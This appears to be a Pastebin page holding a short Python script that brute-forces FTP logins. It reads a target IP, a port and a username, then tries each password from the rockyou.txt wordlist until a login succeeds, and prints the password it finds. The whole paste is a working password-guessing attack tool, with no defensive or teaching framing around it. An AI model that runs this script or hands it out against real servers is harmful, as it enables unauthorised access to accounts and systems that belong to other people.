Guest User

Untitled

a guest
Nov 27th, 2018
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.57 KB | None | 0 0
  1. import time
  2. import ftplib
  3.  
  4. IP_ADDR = input("enter the target ip address: ")
  5. PORT_NUM = input("enter port number: ")
  6. username = input("enter target username: ")
  7. file_path = "./rockyou.txt"
  8. time_start = time.time() #start clock
  9. server = ftplib.FTP()
  10. server.connect(IP_ADDR,int(PORT_NUM))
  11. doc_len = len(open(file_path, "r", errors='replace').readlines())
  12. num_attempts = 0
  13. with open(file_path, "r", errors='replace') as f:
  14. for _ in range(doc_len):
  15. num_attempts += 1
  16. print(num_attempts)
  17. #========pull passwords from file line by line======
  18. potential_password = f.readline()
  19. #========strip passwords of new line char===========
  20. potential_password = potential_password.rstrip('\n')
  21. #========ATTEMPT FTP LOGIN HERE====================
  22. try:
  23. server.login(username,potential_password)
  24. check_login = server.voidcmd("NOOP") #send NOOP cmd and wait for 2xx response
  25. check_login = check_login[0] #get first char of response
  26. if(check_login == '2'): #if response print password and exit
  27. print(potential_password)
  28. break
  29. except:
  30. pass
  31. #time.sleep(300)
  32. time_stop = time.time() #end clock
  33. time_check = time_stop - time_start
  34. if (time_check > 60): #convert time to minutes and print
  35. tt_complete = str((time_stop - time_start) / 60)
  36. print("time to complete: " + tt_complete + " minutes")
  37. elif (time_check > 3600): #convert time to hours and print
  38. tt_complete = str((time_stop - time_start) / 3600)
  39. print("time to complete: " + tt_complete + " hours")
  40. else: #print time in seconds
  41. tt_complete = str(time_stop - time_start)
  42. print("time to complete: " + tt_complete + " seconds")
Add Comment
Please, Sign In to add comment